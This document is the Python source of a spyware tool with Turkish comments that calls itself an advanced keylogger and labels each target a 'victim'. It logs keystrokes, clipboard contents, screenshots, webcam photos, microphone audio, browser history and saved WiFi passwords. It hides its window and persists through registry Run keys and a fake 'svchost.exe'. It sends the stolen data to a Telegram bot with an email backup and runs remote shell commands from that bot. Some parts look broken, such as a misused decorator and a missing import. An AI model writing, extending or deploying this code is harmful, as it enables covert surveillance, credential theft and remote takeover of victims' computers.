import requests
from pynput.keyboard import Key, Listener
from pynput.mouse import Listener as MouseListener
import threading
import os
import socket
import platform
import subprocess
import sys
import time
import json
import base64
import hashlib
import shutil
import getpass
import psutil
import pyperclip
import pyautogui
import cv2
import sounddevice as sd
import numpy as np
import wave
from cryptography.fernet import Fernet
from datetime import datetime
from PIL import ImageGrab
import win32clipboard
from io import BytesIO
import logging
from functools import wraps
import sqlite3
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import random
import string
import winreg
import pythoncom
import win32gui
import win32con
import win32api
import ctypes
from ctypes import wintypes
import schedule
import dns.resolver
import scapy.all as scapy
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
import paramiko
import zipfile
import hashlib
import json
import requests
from bs4 import BeautifulSoup
import re
import cryptocode
# === GELİŞMİŞ AYARLAR ===
class Config:
BOT_TOKEN = "TOKEN_BURAYA" # Telegram Bot Token
ADMIN_ID = "ID_BURAYA" # Telegram Admin ID
ENCRYPTION_KEY = None # Dinamik oluşturulacak
LOG_INTERVAL = 60 # 60 saniyede bir log gönder
SCREENSHOT_INTERVAL = 300 # 5 dakikada bir ekran görüntüsü
WEBCAM_INTERVAL = 600 # 10 dakikada bir webcam fotoğrafı
AUDIO_INTERVAL = 900 # 15 dakikada bir ses kaydı (15 saniye)
MAX_LOG_SIZE = 1000000 # 1MB max log boyutu
BACKUP_SERVERS = [
"smtp.gmail.com:587", # Email yedeği
"api.telegram.org" # Telegram ana
]
@classmethod
def generate_key(cls):
"""Şifreleme anahtarı oluştur"""
if not cls.ENCRYPTION_KEY:
key = Fernet.generate_key()
cls.ENCRYPTION_KEY = key
# Anahtarı gizli bir dosyaya kaydet
with open(os.path.expanduser("~/.system_key"), "wb") as f:
f.write(key)
return cls.ENCRYPTION_KEY
# === HATA YÖNETİCİSİ ===
class ErrorHandler:
def __init__(self, owner):
self.owner = owner
self.error_count = 0
self.last_error_time = None
def handle(self, func):
@wraps(func)
def wrapper(*args, **kwargs):
try:
return func(*args, **kwargs)
except Exception as e:
self.error_count += 1
self.last_error_time = datetime.now()
# Kritik hataları admin'e bildir
if self.error_count % 10 == 0: # Her 10 hatada bir bildir
self.owner.send_admin_message(
f"⚠️ **Kritik Hata Uyarısı**\n"
f"Fonksiyon: {func.__name__}\n"
f"Hata: {str(e)}\n"
f"Sayı: {self.error_count}"
)
# Log dosyasına yaz
with open("error_log.txt", "a") as f:
f.write(f"{datetime.now()}: {func.__name__} - {str(e)}\n")
return None
return wrapper
# === ANA KEYLOGGER SINIFI ===
class AdvancedKeylogger:
def __init__(self):
# === TEMEL BİLGİLER ===
self.log = ""
self.error_handler = ErrorHandler(self)
self.victim_id = self.generate_victim_id()
self.config = Config
self.encryption_key = Config.generate_key()
self.cipher = Fernet(self.encryption_key)
# === DURUM DEĞİŞKENLERİ ===
self.is_running = True
self.mouse_log = []
self.last_clipboard = ""
self.downloaded_files = []
self.process_list = []
self.network_connections = []
self.keylog_buffer = []
self.screenshot_counter = 0
self.webcam_counter = 0
# === VERİTABANI ===
self.init_database()
# === THREAD'LER ===
self.threads = []
# === GİZLİLİK AYARLARI ===
self.hide_console()
self.add_to_startup()
print(f"[+] Keylogger başlatıldı - Kurban ID: {self.victim_id}")
# === 1. KİMLİK OLUŞTURMA ===
def generate_victim_id(self):
"""Eşsiz kurban kimliği oluştur"""
computer_name = socket.gethostname()
username = os.getlogin()
mac_address = self.get_mac_address()
disk_serial = self.get_disk_serial()
unique_string = f"{computer_name}_{username}_{mac_address}_{disk_serial}"
hash_object = hashlib.sha256(unique_string.encode())
return base64.b64encode(hash_object.digest()).decode()[:16]
def get_mac_address(self):
"""MAC adresini al"""
try:
import uuid
return ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff)
for elements in range(0,8,2)][::-1])
except:
return "UNKNOWN_MAC"
def get_disk_serial(self):
"""Disk seri numarasını al"""
try:
if os.name == 'nt':
import wmi
c = wmi.WMI()
for disk in c.Win32_DiskDrive():
return disk.SerialNumber.strip()
else:
return subprocess.check_output("sudo dmidecode -s system-serial-number",
shell=True).decode().strip()
except:
return "UNKNOWN_DISK"
# === 2. VERİTABANI İŞLEMLERİ ===
def init_database(self):
"""SQLite veritabanı oluştur"""
db_path = os.path.expanduser("~/system_data.db")
self.conn = sqlite3.connect(db_path, check_same_thread=False)
self.cursor = self.conn.cursor()
# Tabloları oluştur
self.cursor.execute('''
CREATE TABLE IF NOT EXISTS keystrokes (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME,
key TEXT,
window TEXT,
process TEXT
)
''')
self.cursor.execute('''
CREATE TABLE IF NOT EXISTS clipboard (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME,
content TEXT
)
''')
self.cursor.execute('''
CREATE TABLE IF NOT EXISTS screenshots (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME,
path TEXT
)
''')
self.conn.commit()
def save_to_db(self, table, data):
"""Veritabanına kaydet"""
try:
placeholders = ', '.join(['?' for _ in data])
columns = ', '.join(data.keys())
query = f"INSERT INTO {table} ({columns}) VALUES ({placeholders})"
self.cursor.execute(query, list(data.values()))
self.conn.commit()
except Exception as e:
print(f"DB Hata: {e}")
# === 3. GİZLİLİK VE KALICILIK ===
def hide_console(self):
"""Console penceresini gizle"""
try:
if os.name == 'nt':
wh = ctypes.windll.kernel32.GetConsoleWindow()
if wh:
ctypes.windll.user32.ShowWindow(wh, 0)
ctypes.windll.user32.SetWindowLongW(wh, -20, 0x80)
except:
pass
def add_to_startup(self):
"""Windows başlangıcına ekle - çoklu yöntem"""
try:
exe_path = sys.executable if getattr(sys, 'frozen', False) else __file__
# Yöntem 1: Registry
if os.name == 'nt':
# Current User
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "WindowsUpdate", 0, winreg.REG_SZ, exe_path)
winreg.CloseKey(key)
# Local Machine (Admin gerektirir)
try:
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "WindowsUpdate", 0, winreg.REG_SZ, exe_path)
winreg.CloseKey(key)
except:
pass
# Yöntem 2: Startup Folder
startup_folder = os.path.join(os.getenv('APPDATA'),
'Microsoft\\Windows\\Start Menu\\Programs\\Startup')
shutil.copy(exe_path, os.path.join(startup_folder, "svchost.exe"))
# Yöntem 3: Task Scheduler
subprocess.run(f'schtasks /create /tn "WindowsUpdate" /tr "{exe_path}" /sc daily /st 09:00',
shell=True, capture_output=True)
except Exception as e:
print(f"Startup eklenemedi: {e}")
# === 4. GELİŞMİŞ KEYLOGGING ===
@ErrorHandler.handle
def on_key_press(self, key):
"""Tuş vuruşlarını yakala"""
timestamp = datetime.now()
current_window = self.get_active_window()
try:
if hasattr(key, 'char') and key.char is not None:
key_char = key.char
self.log += key_char
self.keylog_buffer.append(key_char)
else:
special_keys = {
Key.space: ' ',
Key.enter: '\n[ENTER]\n',
Key.tab: '\t[TAB]',
Key.backspace: '[BACKSPACE]',
Key.delete: '[DELETE]',
Key.shift: '[SHIFT]',
Key.ctrl: '[CTRL]',
Key.alt: '[ALT]',
Key.esc: '[ESC]',
Key.up: '[UP]',
Key.down: '[DOWN]',
Key.left: '
',
Key.right: '
'
}
if key in special_keys:
key_char = special_keys[key]
self.log += key_char
self.keylog_buffer.append(key_char)
else:
key_char = f'[{str(key)}]'
self.log += key_char
self.keylog_buffer.append(key_char)
# Veritabanına kaydet
self.save_to_db('keystrokes', {
'timestamp': timestamp,
'key': key_char,
'window': current_window,
'process': self.get_current_process()
})
# Buffer kontrolü
if len(self.keylog_buffer) > 1000:
self.process_key_buffer()
except Exception as e:
print(f"Key press hatası: {e}")
def get_active_window(self):
"""Aktif pencere adını al"""
try:
if os.name == 'nt':
window = win32gui.GetWindowText(win32gui.GetForegroundWindow())
return window
else:
# Linux/Mac için
result = subprocess.run(['xdotool', 'getwindowfocus', 'getwindowname'],
capture_output=True, text=True)
return result.stdout.strip()
except:
return "UNKNOWN_WINDOW"
def get_current_process(self):
"""Aktif process adını al"""
try:
if os.name == 'nt':
hwnd = win32gui.GetForegroundWindow()
_, pid = win32process.GetWindowThreadProcessId(hwnd)
process = psutil.Process(pid)
return process.name()
else:
return platform.system()
except:
return "UNKNOWN_PROCESS"
def process_key_buffer(self):
"""Key buffer'ı işle ve temizle"""
if self.keylog_buffer:
# Buffer'ı analiz et (şifre, email vs)
buffer_text = ''.join(self.keylog_buffer)
# Email pattern
emails = re.findall(r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b', buffer_text)
if emails:
self.send_admin_message(f"📧 Email bulundu: {emails}")
# URL pattern
urls = re.findall(r'https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', buffer_text)
if urls:
self.send_admin_message(f"🔗 URL bulundu: {urls}")
# Telefon pattern
phones = re.findall(r'\+\d{10,15}|\d{10,11}', buffer_text)
if phones:
self.send_admin_message(f"📞 Telefon bulundu: {phones}")
self.keylog_buffer = []
# === 5. MOUSE LOGGING ===
@ErrorHandler.handle
def on_mouse_click(self, x, y, button, pressed):
"""Mouse tıklamalarını yakala"""
if pressed:
click_info = {
'timestamp': datetime.now(),
'x': x,
'y': y,
'button': str(button),
'window': self.get_active_window()
}
self.mouse_log.append(click_info)
# Ekran görüntüsü al (sağ tıklama)
if button == button.right:
self.take_screenshot(reason="right_click")
def start_mouse_listener(self):
"""Mouse dinleyici başlat"""
with MouseListener(on_click=self.on_mouse_click) as listener:
listener.join()
# === 6. EKRAN GÖRÜNTÜSÜ ALMA ===
@ErrorHandler.handle
def take_screenshot(self, reason="periodic"):
"""Ekran görüntüsü al ve kaydet"""
try:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
# Ekran görüntüsü al
screenshot = pyautogui.screenshot()
# Dosyaya kaydet
screenshot_dir = os.path.expanduser("~/AppData/Local/Temp/screenshots")
os.makedirs(screenshot_dir, exist_ok=True)
filename = f"screen_{timestamp}_{reason}.png"
filepath = os.path.join(screenshot_dir, filename)
screenshot.save(filepath)
# Şifrele
self.encrypt_file(filepath)
# Veritabanına kaydet
self.save_to_db('screenshots', {
'timestamp': datetime.now(),
'path': filepath
})
# Admin'e gönder (belirli durumlarda)
if reason in ["right_click", "banking", "login"]:
self.send_screenshot(filepath)
self.screenshot_counter += 1
except Exception as e:
print(f"Screenshot hatası: {e}")
# === 7. WEBCAM FOTOĞRAFI ===
@ErrorHandler.handle
def take_webcam_photo(self):
"""Webcam'den fotoğraf çek"""
try:
camera = cv2.VideoCapture(0)
ret, frame = camera.read()
if ret:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
# Kaydet
webcam_dir = os.path.expanduser("~/AppData/Local/Temp/webcam")
os.makedirs(webcam_dir, exist_ok=True)
filename = f"webcam_{timestamp}.jpg"
filepath = os.path.join(webcam_dir, filename)
cv2.imwrite(filepath, frame)
# Şifrele ve gönder
self.encrypt_file(filepath)
self.send_webcam_photo(filepath)
self.webcam_counter += 1
camera.release()
except Exception as e:
print(f"Webcam hatası: {e}")
# === 8. SES KAYDI ===
@ErrorHandler.handle
def record_audio(self, duration=15):
"""Mikrofondan ses kaydet"""
try:
fs = 44100 # Sample rate
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
# Ses kaydı
recording = sd.rec(int(duration * fs), samplerate=fs, channels=2)
sd.wait()
# Kaydet
audio_dir = os.path.expanduser("~/AppData/Local/Temp/audio")
os.makedirs(audio_dir, exist_ok=True)
filename = f"audio_{timestamp}.wav"
filepath = os.path.join(audio_dir, filename)
with wave.open(filepath, 'wb') as wf:
wf.setnchannels(2)
wf.setsampwidth(2)
wf.setframerate(fs)
wf.writeframes((recording * 32767).astype(np.int16).tobytes())
# Şifrele ve gönder
self.encrypt_file(filepath)
self.send_audio_file(filepath)
except Exception as e:
print(f"Ses kaydı hatası: {e}")
# === 9. PANO İZLEME ===
@ErrorHandler.handle
def monitor_clipboard(self):
"""Pano içeriğini izle"""
try:
if os.name == 'nt':
win32clipboard.OpenClipboard()
try:
data = win32clipboard.GetClipboardData()
if data and data != self.last_clipboard:
self.last_clipboard = data
# Pano içeriğini kaydet
self.save_to_db('clipboard', {
'timestamp': datetime.now(),
'content': data[:500] # İlk 500 karakter
})
# Kripto cüzdan adresleri kontrolü
self.check_crypto_addresses(data)
except:
pass
finally:
win32clipboard.CloseClipboard()
except:
pass
def check_crypto_addresses(self, text):
"""Kripto para adreslerini kontrol et"""
crypto_patterns = {
'BTC': r'^[13][a-km-zA-HJ-NP-Z0-9]{26,33}$',
'ETH': r'^0x[a-fA-F0-9]{40}$',
'USDT': r'^T[a-zA-Z0-9]{33}$'
}
for crypto, pattern in crypto_patterns.items():
if re.search(pattern, text):
self.send_admin_message(f"💰 {crypto} adresi bulundu: {text[:50]}")
# === 10. AĞ TRAFİĞİ İZLEME ===
@ErrorHandler.handle
def monitor_network(self):
"""Ağ trafiğini izle"""
try:
# Aktif bağlantıları al
connections = psutil.net_connections()
for conn in connections:
if conn.status == 'ESTABLISHED':
connection_info = {
'local': f"{conn.laddr.ip}:{conn.laddr.port}",
'remote': f"{conn.raddr.ip}:{conn.raddr.port}" if conn.raddr else None,
'pid': conn.pid,
'status': conn.status
}
# Şüpheli bağlantıları kontrol et
if conn.raddr and self.is_suspicious_connection(conn.raddr.ip):
self.send_admin_message(
f"🚨 Şüpheli bağlantı!\n"
f"Local: {connection_info['local']}\n"
f"Remote: {connection_info['remote']}"
)
except Exception as e:
print(f"Network izleme hatası: {e}")
def is_suspicious_connection(self, ip):
"""Şüpheli IP kontrolü"""
suspicious_countries = ['RU', 'CN', 'KP', 'IR']
try:
response = requests.get(f"http://ip-api.com/json/{ip}")
data = response.json()
return data.get('countryCode') in suspicious_countries
except:
return False
# === 11. DOSYA SİSTEMİ İZLEME ===
class FileMonitorHandler(FileSystemEventHandler):
"""Dosya sistemi olaylarını izle"""
def __init__(self, keylogger):
self.keylogger = keylogger
self.important_extensions = ['.doc', '.docx', '.xls', '.xlsx',
'.pdf', '.txt', '.jpg', '.png']
def on_created(self, event):
if not event.is_directory:
self.check_file(event.src_path)
def on_modified(self, event):
if not event.is_directory:
self.check_file(event.src_path)
def check_file(self, filepath):
ext = os.path.splitext(filepath)[1].lower()
if ext in self.important_extensions:
self.keylogger.send_admin_message(f"📁 Dosya değişti: {filepath}")
def start_file_monitor(self):
"""Dosya izleyici başlat"""
path = os.path.expanduser("~") # Kullanıcı dizini
event_handler = self.FileMonitorHandler(self)
observer = Observer()
observer.schedule(event_handler, path, recursive=True)
observer.start()
# === 12. SİSTEM BİLGİSİ TOPLAMA ===
def get_system_info(self):
"""Detaylı sistem bilgisi topla"""
info = {
'computer_name': socket.gethostname(),
'username': os.getlogin(),
'os': platform.platform(),
'os_version': platform.version(),
'architecture': platform.machine(),
'processor': platform.processor(),
'ram': f"{psutil.virtual_memory().total / (1024**3):.2f} GB",
'disk': {},
'ip_address': self.get_public_ip(),
'local_ip': socket.gethostbyname(socket.gethostname()),
'mac_address': self.get_mac_address(),
'installed_software': self.get_installed_software(),
'running_processes': self.get_running_processes(),
'browser_history': self.get_browser_history(),
'wifi_passwords': self.get_wifi_passwords(),
'screenshots': self.screenshot_counter,
'webcam_photos': self.webcam_counter
}
# Disk bilgileri
for partition in psutil.disk_partitions():
try:
usage = psutil.disk_usage(partition.mountpoint)
info['disk'][partition.device] = {
'total': f"{usage.total / (1024**3):.2f} GB",
'used': f"{usage.used / (1024**3):.2f} GB",
'free': f"{usage.free / (1024**3):.2f} GB"
}
except:
pass
return info
def get_public_ip(self):
"""Genel IP adresini al"""
try:
return requests.get('https://api.ipify.org').text
except:
return "UNKNOWN"
def get_installed_software(self):
"""Yüklü programları listele"""
try:
if os.name == 'nt':
import winreg
software = []
key_paths = [
r"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall",
r"SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall"
]
for key_path in key_paths:
try:
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path)
for i in range(winreg.QueryInfoKey(key)[0]):
try:
subkey_name = winreg.EnumKey(key, i)
subkey = winreg.OpenKey(key, subkey_name)
try:
name = winreg.QueryValueEx(subkey, "DisplayName")[0]
software.append(name)
except:
pass
winreg.CloseKey(subkey)
except:
pass
winreg.CloseKey(key)
except:
pass
return list(set(software))[:50] # İlk 50
else:
return subprocess.check_output(['dpkg', '-l']).decode().split('\n')[:50]
except:
return []
def get_running_processes(self):
"""Çalışan process'leri listele"""
processes = []
for proc in psutil.process_iter(['pid', 'name', 'cpu_percent', 'memory_percent']):
try:
processes.append(proc.info)
except:
pass
return processes[:50] # İlk 50
# === 13. TARAYICI VERİLERİ ===
def get_browser_history(self):
"""Tarayıcı geçmişini al"""
history = []
# Chrome
chrome_path = os.path.expanduser("~/.config/google-chrome/Default/History")
if os.path.exists(chrome_path):
try:
import sqlite3
conn = sqlite3.connect(chrome_path)
cursor = conn.cursor()
cursor.execute("SELECT url, title, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 50")
history.extend(cursor.fetchall())
conn.close()
except:
pass
return history
def get_wifi_passwords(self):
"""Kayıtlı WiFi şifrelerini al"""
wifi_passwords = {}
if os.name == 'nt':
try:
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8')
profiles = [i.split(":")[1][1:-1] for i in data.split("\n") if "All User Profile" in i]
for profile in profiles:
try:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', profile, 'key=clear']).decode('utf-8')
password_lines = [i.split(":")[1][1:-1] for i in results.split("\n") if "Key Content" in i]
if password_lines:
wifi_passwords[profile] = password_lines[0]
except:
pass
except:
pass
return wifi_passwords
# === 14. UZAKTAN KOMUT ÇALIŞTIRMA ===
@ErrorHandler.handle
def execute_remote_command(self, command):
"""Uzaktan komut çalıştır"""
try:
# Komutu parse et
if command.startswith('/shell '):
cmd = command[7:]
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30)
output = result.stdout if result.stdout else result.stderr
# Çıktıyı parçala (Telegram limiti 4096)
for i in range(0, len(output), 4000):
self.send_admin_message(f"💻 Çıktı:\n{output[i:i+4000]}")
elif command == '/screenshot':
self.take_screenshot(reason="command")
self.send_admin_message("📸 Ekran görüntüsü alındı")
elif command == '/webcam':
self.take_webcam_photo()
self.send_admin_message("📷 Webcam fotoğrafı alındı")
elif command == '/audio':
self.record_audio(10)
self.send_admin_message("🎤 Ses kaydı alındı")
elif command == '/info':
info = self.get_system_info()
self.send_admin_message(f"ℹ️ **Sistem Bilgisi**\n```\n{json.dumps(info, indent=2, default=str)[:4000]}\n```")
elif command == '/processes':
processes = self.get_running_processes()
proc_text = "\n".join([f"{p['pid']}: {p['name']} ({p['cpu_percent']}% CPU)"
for p in processes[:20]])
self.send_admin_message(f"📊 **Çalışan Processler**\n{proc_text}")
elif command.startswith('/kill '):
pid = int(command[6:])
psutil.Process(pid).terminate()
self.send_admin_message(f"✅ Process {pid} sonlandırıldı")
elif command == '/lock':
if os.name == 'nt':
ctypes.windll.user32.LockWorkStation()
self.send_admin_message("🔒 Bilgisayar kilitlendi")
elif command == '/shutdown':
if os.name == 'nt':
os.system('shutdown /s /t 10')
self.send_admin_message("💻 Bilgisayar 10 saniye içinde kapanacak")
elif command == '/restart':
if os.name == 'nt':
os.system('shutdown /r /t 10')
self.send_admin_message("🔄 Bilgisayar yeniden başlatılıyor")
elif command.startswith('/download '):
filepath = command[10:]
if os.path.exists(filepath):
self.send_file(filepath)
elif command == '/selfdestruct':
self.self_destruct()
except Exception as e:
self.send_admin_message(f"❌ Komut hatası: {str(e)}")
# === 15. DOSYA İNDİRME/YÜKLEME ===
def download_file(self, url, filename=None):
"""Dosya indir"""
try:
if not filename:
filename = url.split('/')[-1]
response = requests.get(url, stream=True)
filepath = os.path.join(os.path.expanduser("~/Downloads"), filename)
with open(filepath, 'wb') as f:
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
self.send_admin_message(f"✅ Dosya indirildi: {filename}")
return filepath
except Exception as e:
self.send_admin_message(f"❌ İndirme hatası: {e}")
return None
def upload_file(self, filepath):
"""Dosya yükle"""
try:
if os.path.exists(filepath):
with open(filepath, 'rb') as f:
files = {'document': f}
requests.post(
f"https://api.telegram.org/bot{self.config.BOT_TOKEN}/sendDocument",
data={'chat_id': self.config.ADMIN_ID},
files=files
)
return True
except:
return False
# === 16. ŞİFRELEME ===
def encrypt_file(self, filepath):
"""Dosyayı şifrele"""
try:
with open(filepath, 'rb') as f:
data = f.read()
encrypted = self.cipher.encrypt(data)
with open(filepath + '.enc', 'wb') as f:
f.write(encrypted)
os.remove(filepath) # Orijinali sil
return filepath + '.enc'
except Exception as e:
print(f"Şifreleme hatası: {e}")
return filepath
def decrypt_file(self, filepath):
"""Dosyanın şifresini çöz"""
try:
with open(filepath, 'rb') as f:
encrypted = f.read()
decrypted = self.cipher.decrypt(encrypted)
original_path = filepath.replace('.enc', '')
with open(original_path, 'wb') as f:
f.write(decrypted)
return original_path
except Exception as e:
print(f"Şifre çözme hatası: {e}")
return None
# === 17. TELEGRAM MESAJ GÖNDERME ===
@ErrorHandler.handle
def send_admin_message(self, message):
"""Admin'e mesaj gönder"""
try:
encrypted_message = self.cipher.encrypt(message.encode()).decode()
requests.post(
f"https://api.telegram.org/bot{self.config.BOT_TOKEN}/sendMessage",
data={
'chat_id': self.config.ADMIN_ID,
'text': f"🔐 **Şifreli Mesaj**\n`{encrypted_message[:500]}`"
},
timeout=10
)
except Exception as e:
print(f"Mesaj gönderme hatası: {e}")
# Email yedeği
self.send_email_backup(message)
def send_screenshot(self, filepath):
"""Ekran görüntüsü gönder"""
try:
with open(filepath, 'rb') as f:
files = {'photo': f}
requests.post(
f"https://api.telegram.org/bot{self.config.BOT_TOKEN}/sendPhoto",
data={'chat_id': self.config.ADMIN_ID},
files=files
)
except:
pass
def send_file(self, filepath):
"""Dosya gönder"""
try:
with open(filepath, 'rb') as f:
files = {'document': f}
requests.post(
f"https://api.telegram.org/bot{self.config.BOT_TOKEN}/sendDocument",
data={'chat_id': self.config.ADMIN_ID, 'caption': os.path.basename(filepath)},
files=files
)
except:
pass
# === 18. EMAIL YEDEKLEME ===
def send_email_backup(self, message):
"""Email ile yedek gönder"""
try:
sender_email = "[email protected]"
sender_password = "password"
msg = MIMEMultipart()
msg['From'] = sender_email
msg['To'] = "[email protected]"
msg['Subject'] = f"Keylogger Backup - {self.victim_id}"
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(sender_email, sender_password)
server.send_message(msg)
server.quit()
except:
pass
# === 19. PERİYODİK RAPORLAMA ===
@ErrorHandler.handle
def periodic_report(self):
"""Periyodik rapor gönder"""
if self.log:
# Log'u şifrele
encrypted_log = self.cipher.encrypt(self.log.encode()).decode()
# Admin'e gönder
self.send_admin_message(
f"📝 **Periyodik Rapor**\n"
f"Kurban: `{self.victim_id}`\n"
f"Süre: {self.config.LOG_INTERVAL} saniye\n"
f"Karakter: {len(self.log)}\n"
f"Ekran Görüntüsü: {self.screenshot_counter}\n"
f"Webcam: {self.webcam_counter}\n\n"
f"```\n{self.log[:1000]}\n```"
)
self.log = ""
def periodic_screenshot(self):
"""Periyodik ekran görüntüsü"""
self.take_screenshot(reason="periodic")
def periodic_webcam(self):
"""Periyodik webcam fotoğrafı"""
self.take_webcam_photo()
def periodic_audio(self):
"""Periyodik ses kaydı"""
self.record_audio(15)
# === 20. KENDİNİ İMHA ===
def self_destruct(self):
"""Kendini imha et"""
try:
self.send_admin_message("💣 **Kendini imha başlatıldı**")
# Veritabanını sil
if hasattr(self, 'conn'):
self.conn.close()
db_path = os.path.expanduser("~/system_data.db")
if os.path.exists(db_path):
os.remove(db_path)
# Log dosyalarını sil
temp_dirs = [
os.path.expanduser("~/AppData/Local/Temp/screenshots"),
os.path.expanduser("~/AppData/Local/Temp/webcam"),
os.path.expanduser("~/AppData/Local/Temp/audio")
]
for dir_path in temp_dirs:
if os.path.exists(dir_path):
shutil.rmtree(dir_path)
# Kendini sil (çalışan exe)
if getattr(sys, 'frozen', False):
exe_path = sys.executable
# Batch script oluştur
batch_content = f"""[USER=14298]@echo[/USER] off
timeout /t 2 /nobreak >nul
del /f /q "{exe_path}"
del /f /q "%~f0"
"""
batch_path = os.path.join(os.environ['TEMP'], 'cleanup.bat')
with open(batch_path, 'w') as f:
f.write(batch_content)
# Batch'i çalıştır ve çık
subprocess.Popen(['cmd', '/c', batch_path],
shell=True,
creationflags=subprocess.CREATE_NO_WINDOW)
sys.exit(0)
except Exception as e:
print(f"İmha hatası: {e}")
# === 21. THREAD YÖNETİMİ ===
def start_background_tasks(self):
"""Arka plan görevlerini başlat"""
# Mouse dinleyici
mouse_thread = threading.Thread(target=self.start_mouse_listener, daemon=True)
mouse_thread.start()
self.threads.append(mouse_thread)
# Pano izleme
clipboard_thread = threading.Thread(target=self.monitor_clipboard, daemon=True)
clipboard_thread.start()
self.threads.append(clipboard_thread)
# Ağ izleme
network_thread = threading.Thread(target=self.monitor_network, daemon=True)
network_thread.start()
self.threads.append(network_thread)
# Dosya izleme
file_thread = threading.Thread(target=self.start_file_monitor, daemon=True)
file_thread.start()
self.threads.append(file_thread)
# Komut dinleyici
command_thread = threading.Thread(target=self.check_telegram_commands, daemon=True)
command_thread.start()
self.threads.append(command_thread)
# Periyodik görevler
schedule.every(self.config.LOG_INTERVAL).seconds.do(self.periodic_report)
schedule.every(self.config.SCREENSHOT_INTERVAL).seconds.do(self.periodic_screenshot)
schedule.every(self.config.WEBCAM_INTERVAL).seconds.do(self.periodic_webcam)
schedule.every(self.config.AUDIO_INTERVAL).seconds.do(self.periodic_audio)
schedule_thread = threading.Thread(target=self.run_schedule, daemon=True)
schedule_thread.start()
self.threads.append(schedule_thread)
def run_schedule(self):
"""Schedule görevlerini çalıştır"""
while self.is_running:
schedule.run_pending()
time.sleep(1)
# === 22. TELEGRAM KOMUT DİNLEYİCİ ===
@ErrorHandler.handle
def check_telegram_commands(self):
"""Telegram'dan gelen komutları kontrol et"""
last_update_id = 0
while self.is_running:
try:
url = f"https://api.telegram.org/bot{self.config.BOT_TOKEN}/getUpdates"
params = {'offset': last_update_id + 1, 'timeout': 30}
response = requests.get(url, params=params, timeout=35)
data = response.json()
if data.get('ok'):
for update in data.get('result', []):
last_update_id = update['update_id']
if 'message' in update and 'text' in update['message']:
command = update['message']['text']
chat_id = update['message']['chat']['id']
# Sadece admin'den gelen komutları işle
if str(chat_id) == self.config.ADMIN_ID:
# Şifreli komutları çöz
if command.startswith('/decrypt '):
try:
encrypted = command[9:]
decrypted = self.cipher.decrypt(encrypted.encode()).decode()
self.execute_remote_command(decrypted)
except:
self.send_admin_message("❌ Şifre çözülemedi")
else:
self.execute_remote_command(command)
except Exception as e:
print(f"Komut dinleme hatası: {e}")
time.sleep(5)
# === 23. ANA DÖNGÜ ===
def start(self):
"""Keylogger'ı başlat"""
try:
# Başlangıç mesajı
start_message = (
f"🚀 **Keylogger Başlatıldı**\n"
f"🆔 Kurban ID: `{self.victim_id}`\n"
f"💻 Sistem: {platform.platform()}\n"
f"🌐 IP: {self.get_public_ip()}\n"
f"📍 Lokasyon: {self.get_location()}\n"
f"⏰ Zaman: {datetime.now()}"
)
self.send_admin_message(start_message)
# Arka plan görevlerini başlat
self.start_background_tasks()
# Klavye dinleyiciyi başlat (ana thread)
with Listener(on_press=self.on_key_press) as listener:
listener.join()
except KeyboardInterrupt:
self.is_running = False
self.send_admin_message("🛑 Keylogger durduruldu")
except Exception as e:
self.send_admin_message(f"❌ Kritik hata: {str(e)}")
def get_location(self):
"""IP'den lokasyon bilgisi al"""
try:
response = requests.get(f"http://ip-api.com/json/{self.get_public_ip()}")
data = response.json()
if data.get('status') == 'success':
return f"{data.get('city')}, {data.get('country')}"
return "UNKNOWN"
except:
return "UNKNOWN"
# === 24. ANA ÇALIŞTIRICI ===
if __name__ == "__main__":
# Gereksinim kontrolleri
required_modules = [
'requests', 'pynput', 'cryptography', 'psutil', 'pyperclip',
'pyautogui', 'opencv-python', 'sounddevice', 'numpy', 'Pillow',
'pywin32', 'wmi', 'scapy', 'watchdog', 'paramiko', 'beautifulsoup4'
]
print("[*] Gereksinimler kontrol ediliyor...")
for module in required_modules:
try:
__import__(module.replace('-', '_'))
except ImportError:
print(f"[!] {module} yükleniyor...")
subprocess.check_call([sys.executable, '-m', 'pip', 'install', module, '-q'])
# Keylogger'ı başlat
keylogger = AdvancedKeylogger()
# Çoklu instance kontrolü
import win32event, win32api, winerror
mutex_name = "Global\\AdvancedKeylogger_v2"
try:
mutex = win32event.CreateMutex(None, False, mutex_name)
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
print("[!] Keylogger zaten çalışıyor!")
sys.exit(0)
except:
pass
# Başlat
keylogger.start()
